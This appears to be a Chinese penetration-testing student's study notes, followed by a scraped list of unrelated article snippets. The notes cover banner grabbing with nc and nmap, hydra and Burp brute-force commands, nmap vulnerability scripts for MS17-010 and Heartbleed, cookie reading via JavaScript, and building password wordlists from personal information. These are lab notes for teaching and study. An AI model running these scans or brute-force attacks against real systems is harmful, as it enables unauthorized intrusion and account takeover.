条件为真 语句体才执行

if(条件) {语句体1}
else {语句体2}
条件为假 语句体2才执行


if (条件1)
{
语句体1
}
else if(条件2){
语句体2
}

 

else{
语句体3
}
当条件1和条件2都为假时 才执行语句体3

switch 语句 用于基于不同的条件来执行不同的语句体
swith (条件)
{
case 标准1:
语句体1
break;
case 标准2:
语句体2
break;


default: //使用default关键词来规定匹配不存在时要做的执行的操作
语句体

}
var day= new Date().getDate();//获取当前日期
var day= new Date().getDay();//获取当前星期

for(条件){
语句体;
}

条件:var i=0;i<10;i++
第一部分:在循环开始前执行
第二部分:执行循环的条件
第三部分:在循环结束后执行

while(条件){
语句体
}

var i=1,sum=0;
while(i<=100){
sum=sum+i;
i++;
}
sum=1+2+ +100=5050

do{
语句体
}
while(条件)

JS对象处理相关函数
var me="hello world!";
var len=me.length;//计算机字符串的长度

var x=me.toUpperCase();//将字符串转化为大写

var y=me.indexOf("o");//定位字符串中某一个指定的字符首次出现的位置

var z=me.replace("world","pentest");//在字符串中用某些字符替换另一些字符

var s=me.match("test");//查找字符串中特定的字符,并且如果找到的话,则返回这个字符。如果找不到返回Null


算数
Math.round(0.60);
Math.random();生成0到1之间的随机数

Math.round(Math.random()*10);

cookie的操作

cookie 是用户的浏览器和服务器之间进行会话认证的一个依据,有了cookie可以认为当前的用户已经登录该站点,并且在该站点中切换页面过程中不需要再次认证,发出去的数据包中会有cookie数据,服务器会认证该cookie,同该cookie(存放到用户的浏览器中)具有相同机制的另外一个会话管理方式是session(存放在服务器中)
查看cookie数据:
1、使用cookies manager、Web Developer插件
2、打开firebug,找到cookies,并启用
3、在URL输入框中输入:javascript:alert(this.document.cookie)
打开firebug,找到控制台,在其光标输入:alert(this.document.cookie)

JS操作Cookie

 

 

Banner信息收集

banner信息 欢迎语,在banner中可以获取到软件开发商、软件名称、软件版本、服务类型等等,如果我们知道某些服务的banner,可以直接去使用相对应的EXP(exploit)去攻击

banner信息的获取的基础是要和目标建立链接,只有建立链接才能获取到对应的banner信息
(目标可能对banner信息进行隐藏或者禁止读取)

方法1:nc(netcat )

nc -nv 192.168.11.228 21
-n 以数字形式显示IP
-v 详细信息

 

?*方法2:python 编程

 

方法3:dmitry(用来扫描服务器的一种软件,基于全链接的扫描方式)
dmitry -pb 192.168.11.228


方法4:nmap
nmap -sT -p1-200 --script=banner 192.168.11.100

方法5:amap
该命令是用来发现端口后面跑的是什么服务,其中 B 参数是专门用来获取 banner 信息的

amap -B 192.168.11.100 1-200

使用浏览器的插件获取目标服务器信息:

flagFox 显示国际、域名、IP、位置
Wappalyzer 分析目标网站的平台架构、网站环境、服务器配置环境、编程语言等等

用过BP的响应包查看服务器信息
Server: Apache/2.2.8 (Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10

 

 

 


B/S (HTTP/s)
使用BP(设置代理--->拦截数据包--->将数据包发送到Intruder-->进行站点的爆破)
爆破的对象有单个和多个
爆破单个对象的过程中,需用的攻击方式为:Sinper,在payload中只需要加载simple list
爆破多个对象,需要选择的攻击方式是:Cluster Bomb,在payload中加多个simple list,同时注意加载payload的顺序

 

 

 

hydra 九头蛇 爆破工具 简单易上手

首先要进行信息收集
扫描目标机器上开启的服务类型,nmap

nmap 192.168.10.10
PORT STATE SERVICE
22/tcp open ssh (目标)
80/tcp open http

namp 192.168.10.7
PORT STATE SERVICE
21/tcp open ftp (目标)
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server (目标)rdp
5357/tcp open wsdapi
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown

>hydra -L 用户字典 -P 密码字典 ssh://192.168.10.10
>hydra -L 用户字典 -P 密码字典 192.168.10.10 ssh
>hydra -l 用户名 -P 密码字典 ssh://192.168.10.10
>hydra -l 用户名 -P 密码字典 192.168.10.10 ssh
-v /-V 显示详细的爆破步骤信息
-vV
-o 导入到某个文件中
(16) -t 20 设置线程为20
(30s) -w 40 设置超时时间为40S
-C 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-e 使用空密码去探测
-S 使用SSL协议连接
-s 指定端口
hydra -l root -P 密码字典 192.168.10.10 -s 23 爆破指定端口
-f/-F 当爆破出来密码时,程序退出


美杜莎(medusa)

C/S

 

御剑目录扫描
DirBuster
用来扫描站点目录,寻找铭感文件(目录、探针、后台、robots.txt、备份文件)
目录:站点结构,权限控制不严格
探针:服务器的配置信息,信息泄露
后台:登录的页面
robots.txt:robots协议,该协议主要用来防止爬虫抓取我们的我们的站点信息,在网站的根目录放着robots.txt,里面写上哪些文件或者目录不许访问,如果管理员设置的规则不规范就容易造成信息泄露
备份文件:数据库备份、网站备份,有了备份文件,可以有针对性去攻击数据库和站点(白盒代码审计).bak 压缩包形式

 

 

 

远控:
控制端:运行在本地,使用的软件就是控制端,监听的端口是2019
被控制端:需要生成,运行在肉鸡上

 

 

 


框架

http://www.baidu.com/index.php?parameter1=123&parameter2=456

客户端提交数据的方式:get post
get 方式
提交的参数拼接到URL中去传输,所有的参数可见,提交数据的容量是有限的,不安全的
GET /DVWA-1.9/vulnerabilities/sqli/index.php?id=1&Submit=Submit&user_token=41b76347bec45ac7efcee4c85503c6f3 HTTP/1.1
//请求包中第一行中有请求方式 请求的页面(参数) 协议版本
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=77352e6d05fd4ae966be81c2d32ef37a
Cookie: security=impossible; PHPSESSID=875ahlcb2kckrg69u7qvq5rg36
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

 

 

post 方式
提交的参数数据不直接放在URL中,而是放在请求包中请求内容中,提交数据的容量较大,安全性比GET方式高

POST /DVWA-1.9/vulnerabilities/brute/ HTTP/1.1
//请求包中第一行有请求方式 请求的页面(没有参数)
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/DVWA-1.9/vulnerabilities/brute/
Cookie: security=impossible; PHPSESSID=875ahlcb2kckrg69u7qvq5rg36
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
(必须有空格)
username=de&password=123&Login=Login&user_token=92de6b9fdbff54788d34d424e6aa6015
(请求的数据在请求内容中,每个参数使用&隔开)
username password Login user_token 这些名字怎么来的?
这些参数对应的名称都是前端的form表单中的input输入框的name值

 

nmap (network mapper)最早是linux中扫描和嗅探工具,网络连接端扫描工具,主要探测机器上的开启的服务、安全性问题、主机存活等等
基本功能:
探测机器存活情况;(是否开机)
扫端口;(服务)
扫描目前机器系统类型;(OS类型:nt/linux)
扫描目前机器上的安全漏洞(高级用法)
namp的安装、配置环境变量
nmap的用法:(命令行模式)
nmap -h
nmap [扫描类型] [选项][目标]
nmap 192.168.1.100 对单个目标机器进行扫描
Nmap scan report for 192.168.11.1
Host is up (1.3s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
514/tcp filtered shell
端口状态:
open
closed
filtered 被过滤的,探测包被拦截,无法定位该端口是否开启
unfiltered 未过滤的,探测包没有被拦截,但是nmap还是无法判断该端口是否开启
open|filtered 开放或者被过滤的
closed|filtered 关闭或者被过滤
nmap 192.168.1.0/24 扫描整个网段
nmap 192.179.1.1-200 扫描1-200之间的主机
nmap 192.167.1.1,2,7-40 扫描1,2和7到40的主机

namp 192.168.1.0/24 10.10.10.1-200 多网段扫描

nmap -iL filename(扫描目标文件)
-iR 随机选择目标
eg:nmap -sS -PS80 -iR 0(无休止去扫描) -p80
nmap 192.168.1.0/24 --exclede 192.168.1.1,255,4-10
--exclude 排除主机/网络
nmap -iL scan_file(要扫的目标) --excludefile noscan_file(不需要扫)

带有参数的扫描

nmap -sT 192.168.1.1 使用-sT实现TCP全连接扫描,扫描过程中有三次握手 建立连接 则表明端口开放 扫描速度慢
nmap -sS 192.168.1.1 使用syn的数据包去探测,如果收到ACK,则说明端口开放
nmap -sN -p- 192.168.1.1 NULL扫描,不设置任何控制位
-p 端口 -p-所有端口
-p20,21,22,23,25,45,80,8080,3306
namp -sV 192.168.1.1 探测服务的版本
nmap 192.168.1.1 >./result.txt
nmap 192.168.1.1 -oX result.html
nmap -A 192.168.1.1 所有扫描结果的详细信息 全面扫描
nmap -O 192.168.1.1 显示操作系统信息
--script 使用脚本探测漏洞
nmap --script 脚本名称 目标
在nmap的安装路径中有 /scripts/ 在该目录中存放nmap的脚本
nmap --script smb-vuln-ms17-010 192.168.10.10 永痕之蓝
nmap --script smb-check-vulns 192.168.10.10 MS08-067(SMB溢出漏洞)
namp --script ssl-heartbleed 192.168.10.10
心脏滴血

*************************************************
域环境

网络工作模式:
工作组(workgroup):安装系统之后默认的网络工作模式是工作组,systeminfo/计算机属性 可以查看当前的工作模式 。当网络模式为工作组时,整个网络以及资源是相互独立的,没有统一管理者,适用中小型企业

域环境:将网络中多台计算机逻辑上组织在一起,进行集中管理,区别于工作组的逻辑环境,域是组织和存储资源的核心管理单元,在域环境中有统一的管理者,该管理者叫做域控,这种工作模式适用中大型企业

域控:加入了域环境且安装的活动目录(AD)的计算机

成员服务器:加入了域且提供了某种服务的计算机
独立服务器:选择的工作模式是工作组且提供了某种服务的计算机

域控制的配置条件:
1、操作者必须是管理员;
2、操作系统版本要求:
Windows server 2003 企业版 专业版 (WEB除外)(DNS和AD可以分配到不同的系统上安装)
Windows server 2008 企业版 专业版 数据中心版 (WEB除外)(DNS和AD必须安装在同台机器上)
3、安装AD(active directory)的存储空间必须是NTFS格式
win: FAT16 FAT32 NTFS
linux: ext xfs
4、磁盘空间容量足够大
5、内存:
真实服务器:32G
虚拟机:1G
6、必须配置静态IP

安装域控制器步骤:
1、配置静态IP
2、安装DNS
3、安装活动目录 :dcpromo

域功能级别:
域功能级别 支持的域控制器
Windows 2000 Windows 2000/Windows server 2003/Windows server 2008
Windows server 2003 Windows server 2003/Windows server 2008
Windows server 2008 Windows server 2008

客户端加入域:
1、IP地址可以静态可以动态
2、首选DNS必须指向DNS服务器
3、计算机--属性--更改--域--域名---确定 --重启

pydictor 强大的密码生成工具,使用python开发,跨平台,可以使用=2.7 3.4>=运行该脚本

功能:
1、合并字典
python pydictor.py -tool combiner ./dict/ -o com.txt
2、词频统计
python pydictor.py -tool counter vs com.txt 2
3、去重
python pydictor.py -tool uniqifer com.txt -o uniq.txt
4、枚举数字字典
python pydictor.py -base d --len 4 4 -o code.txt
生成用户名字典
python pydictor.py -base L --len 2 6 -o name.txt

5、生成社工字典(弱口令+社工信息+规则)
info.txt 社工信息
python pydictor.py -extend info.txt --len 4 20 --level 3 -o ./info_secret.txt
info.txt{
pentest
pentest
11111111111
2222222222
cream
303
}
6、生成MD5加密的字典
python pydictor.py -extend info.txt --len 4 20 --level 3 --encode md5 -o ./info_secret2.txt
7、生成纯社工密码(社工信息)
python pydictor.py --sedb
set 去设置社工信息
show 查看设置的参数
run 执行

Cupper 针对国人生成社工密码的工具
使用python开发,主要使用2版本运行
-i 进入交互式窗口

密码学
密码编码学(研究密码算法)

密码分析学(研究破译密码)CTF

密码算法:<

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

笔记,后期整理 的相关文章

  • 如何在bash中使用kill SIGUSR2?

    我在linux中使用iptraf来监控网络流量 shell命令是 让iptraf在后台运行 iptraf s eth0 f B L traffic dat 如果我想得到结果 我必须先停止 iptraf 所以我使用 shell 命令 kill
  • 如何从视图中使用模型函数? - 拉拉维尔 5.4

    我在模型类中创建了一个函数 它是 public function scopetest query return query gt pluck name 我的控制器代码是 public function index books Book al
  • wordpressfunctions.php - 为每个帖子类别使用不同的页面模板

    我想连接到 save post 函数 找出帖子所属的类别 然后为每个类别中的帖子分配不同的页面模板 我已经尝试了大约 30 个不同的版本 但都没有成功 有人可以帮我指出正确的方向吗 add action save post assign c
  • 404 路由无法匹配请求的 URL

    我刚刚开始学习zend 框架 questions tagged zend framework并遵循此用户指南 http framework zend com manual 2 3 en index html 我能够成功安装zend skel
  • 使用 Sendemail 的 HTML 表单

    我不知道问题出在哪里 mail 工作正常 我已经用一个简单的 php 文件对其进行了测试 但我的表单不发送任何电子邮件 HTML section div class wow fadeIn div div class parallax div
  • 在 Laravel 中获取身份验证用户 ID

    如果用户登录 Laravel 5 1 我们可以访问用户 ID Auth user gt id 在我以前的应用程序 不是 laravel 中 当用户登录时 我正在为 userid 注册一个会话 我正在检查 SESSION user id 是否
  • 如何?使用 PHP API 提交亚马逊创建配送订单 XML

    我现在正在努力使用 Amazon API 我正在尝试创建履行订单 将订单发送到亚马逊以供他们履行 我首先需要创建我使用过的文档 的XMLhttp www jyi org wp content uploads Amazon xml pdf h
  • 字符串的正则表达式,必须至少包含 14 个字符,其中至少 2 个数字,至少 6 个字母

    我需要一个正则表达式来测试字符串的 最少 14 个字符 有效值为A Za z0 9 这 14 个字母中至少有 6 个字母 这 14 个数字中至少有 2 个 有没有一种方法可以将其包装在一个正则表达式中 目前我有一个 javascript 和
  • 如何 grep 文件中不区分大小写的字符串?

    我有一个文件file1其结尾为Success OR success 我想要grep为了这个词success以一种不区分大小写的方式 我写了以下命令 但它区分大小写 cat file1 grep success 我怎样才能改变它 以便它ret
  • $_POST 不包含所有数据

    几天前 我们的一家网上商店遇到了问题 Gambio基于xtC 我们有一个包含 3000 多个文本字段的公式 其中大约前三分之一工作正常 其余的都是空的 看来 POST 已正确填充 但在服务器上 应用程序获得了一个缩减的数组 我在不同的计算机
  • Linux shell 根据第二列对文件进行排序?

    我有一个这样的文件 FirstName FamilyName Address PhoneNumber 如何按 FamilyName 排序 如果这是 UNIX sort k 2 file txt 您可以使用多个 k用于对多列进行排序的标志 例
  • php 验证十进制格式的纬度/经度字符串

    好吧 我有一个巨大的经度和纬度坐标列表 也就是说 我还有一些来源来提取这些坐标 其中一些来自 get post 方法 这可能会导致我的网站 服务中存在潜在的安全漏洞 所以我想弄清楚如何通过 PHP 验证经度和纬度 我正在考虑通过 preg
  • 获取 Woocommerce 单一产品页面中的产品类别名称和描述

    我一直在使用 WooCommerce Codex 但我似乎无法显示数据 我只想显示产品类别和描述 以在我自己的自定义布局的单个产品页面上显示 如下所示 由于一个产品可以有多个产品类别 因此您需要使用 foreach 循环 这 term变量是
  • mysql 触发器与 php 脚本

    我有下一个 mysql 触发器 DELIMITER CREATE TRIGGER Test Insert BEFORE INSERT ON sat clientLocation FOR EACH ROW BEGIN DECLARE cmd
  • Laravel 自定义授权

    我在这里进行登录验证 LoginData Input except array token if Auth attempt LoginData return success 我的表不同 所以这里我更改表名称auth php table gt
  • 如何使用symfony2中的findOneBy方法返回数组而不是对象?

    我有一种情况 我想使用 symfony2 中的 findOneBy id 方法查询数据库 namePosting this gt getDoctrine gt getRepository MyBundle Users gt findOneB
  • 无法使用 Alamofire 在 swift 3 中上传图像

    我在尝试让 Alamofire 上传图像时被困了三天 这个想法是 Alamofire 将其与一些 php 代码一起发送到服务器 经过大量尝试和查看不同的地方后 一些代码应该可以工作 但是 Alamofire 的服务器端文档很糟糕 最近对 s
  • 如何使用 mod rewrite / htaccess 创建具有两个或多个参数的友好 URL?

    新手在这里重写Mod 我想在 URL 中传递两个 URL 参数 但采用更友好的格式 如果用户通过 example com blah123 sys 在本例中我应该能够提取 MySQL 记录 blah123 和模式类型 sys 这是例子 URL
  • npm run dev 和 npm run production 之间的区别

    我对 Laravel 和 vue js 很陌生 请让我知道它们之间有什么区别npm run dev and npm run production 这和环境有关系吗 npm run dev创建源映射并且不会缩小 js css 这使得调试和查找
  • 如何使用 PHP 读取/显示 XML

    有没有办法使用 PHP 读取 external xml 来自不同网站的 xml 文件 我知道有一种方法可以使用 JavaScript 读取 XML 但前提是它们都位于同一根目录中 您能否提供有关如何获取 xml 文件的示例 然后阅读以下内容

随机推荐

  • 生命周期BeanPostProcessor(3)---Spring源码从入门到精通(九)

    上篇文章主要介绍了Bean生命周期 bean生命周期 创建bean gt 初始化init gt 销毁destory 而初始化和销毁是可以用 Bean指定的 或者用 PostCoustruct preDestory注解 或者用Initiali
  • 两个多项式相加算法(链表实现)

    来源 数据结构期中考试补充题 注 该代码测试数据较少 吃过晚饭有时间再测试下改改bug QAQ 多项式相加 include
  • Python3运行报错:TypeError: Object of type ‘type‘ is not JSON serializable解决方法(不是针对对象转Json的方法)

    问题描述 Python内置的json模块提供了非常完善的Python对象到JSON格式的转换 json dumps 将Python中的对象转换为JSON中的字符串对象 json loads 将JSON中的字符串对象转换为Python中的对象
  • OpenSystemArchitect从入门到放弃

    原因 pd每次建立外键都自动生成字段 这个设置找不到解决方案 就想着有不有替代pd的工具 结果百度 还真有 用OpenSystemArchitect的原因 开源免费 他的外键直观的展示2个表的关系 逻辑视图的支持 放弃 文档不全 好多问题没
  • YUM仓库及NFS共享服务理论

    文章目录 一 YUM仓库 1 YUM概述 2 准备安装源 3 访问YUM仓库 二 FNS共享存储服务 1 NFS概念 2 NFS使用场景 3 NFS服务 一 YUM仓库 1 YUM概述 YUM Yellow dog Updater Modi
  • Allegro添加相对传输延迟的等长规则设置

    怎么去添加相对传输延迟的等长规则 首先讲述的是通过直接添加法去添加 直接添加法只适用于点对点的传输模式 中间没有任何串阻 串容的情况 具体操作如下所示 01 打开规则管理器 打开规则管理器 执行菜单命令Setup Constraints 在
  • 抖之恒科技python常用库之工具库schema

    在Python编程语言中 有众多的开源库可以帮助程序员更加高效地完成各种任务 其中 Schema就是一款非常实用的工具库之一 本文将为您介绍Schema库的基本概念 使用方法以及它在Python编程中重要性 一 什么是Schema Sche
  • Koin入门使用

    一 简单流程 1 创建Koin容器 startKoin 创建一个Koin容器并注册到GlobalContext中 modules module 配置Koin模块并注入到Koin容器 2 创建Koin模块 class People val k
  • HDU1007(最近点对问题)

    题意不难理解 就是找到最近的两个点 计算其距离 除以2就是所求的圆的半径 思路很简单 运用分治的思想 先划分区间 分别找到左右区间中的最近点对 再合并区间 找到区间间的最近点对 注意如果用qsort 进行排序可能会超时 include
  • Qi v1.2.4 -- WPC官方文档资源下载

    WPC无线充电联盟QI协议1 2 4 zip qi 嵌入式文档类资源 CSDN下载QI协议part1 part2 part3 part4完整版 没有积分可使用链接 链接 httpqi更多下载资源 学习资料请访问CSDN下载频道 https
  • 剑指offer-42翻转单词顺序-左旋转字符串

    先来一道简单题 将字符串左旋 输入abcdefg 输出cdefgab package Leetcode Author YCKJ3803 Date 2021 3 1 16 41 Description public class Zuoxuan
  • Java概述(了解java开发及背景)

    目录 一 java语言背景介绍 Java 语言的三个版本 JavaSE JavaME JavaEE 二 Java跨平台原理 三 JRE和JDK Java 程序开发的三个步骤 编写代码 编译代码 运行代码 JDK JRE 和 JVM 的关系
  • 初学JAVA的变量作用域

    变量的范围是程序中该变量可以被引用的部分 方法内定义的变量被称为局部变量 局部变量的作用范围从声明开始 直到包含它的块结束 局部变量必须声明才可以使用 方法的参数范围涵盖整个方法 参数实际上是一个局部变量 for循环的初始化部分声明的变量
  • 简单springboot及springboot cloud环境搭建

    springboot使用特定的方式 简化了spring的各种xml配置文件 并通过maven或者gradle 完成所需依赖 使用springboot maven插件 可直接输出可运行的jar包 省去了tomcat等容器的部署 使得基于htt
  • 基于Sqli-Labs靶场的SQL注入-29~31关

    目录 Less 29 基于GET 双服务器 单引号 字符型注入 双服务器解析 爆破数据库名 爆破表名 爆破列名 爆破字段值 Less 30 基于GET 双服务器 双引号 字符型注入 Less 31 基于GET 双服务器 双引号加括号 字符型
  • Java Web: JDBC、数据库连接池、Maven

    1 JDBC JDBC 全称Java DataBase Connection Java 数据库连接 在前面我们已经学习过Java和DataBase 数据库 了 JDBC就是使用Java语言操作关系型数据的一套API 本质上就是一个接口 用于
  • java实现 手写体识别_java手写体英文数字识别系统 识别预处理如何实现 采用什么语言比较好...

    展开全部 转载 1 引言 手写体数字识别是文字识别中的一个研究课题 是多年来的研究热点 也是模62616964757a686964616fe4b893e5b19e31333337373638式识别领域中最成功的应用之一 由于识别类型较少 在
  • 微信小程序:横向滚动卡片列表模板

    文章目录 1 前言 2 代码详解 3 样例展示 4 结语 1 前言 在开发微信小程序时 横向可滚动卡片列表是一个必不可缺的页面组件 其不仅美观还可以节省屏幕空间 具体截图如下 2 代码详解 主要用的是scroll x 具体代码如下 wxml
  • 开启win10下Ubuntu子系统的SSH服务 并设置为开机启动

    Win10中安装Ubuntu子系统后默认是没有开启SSH服务的 需要手动配置开启 1 先通过 bash 进入子系统修改配置 vi etc ssh sshd config 备注 输入i 表示键入 按键 ESC 外加 冒号 WQ 退出保存 如果
  • 笔记,后期整理

    VM 虚拟各种系统的工具 安装目录 不要放在C盘 需要下载的镜像Windows NT win7 xp server08R2 server12类Nnix centos 6 7 8 ubuntu 14 16 18 kali安装 win7 1g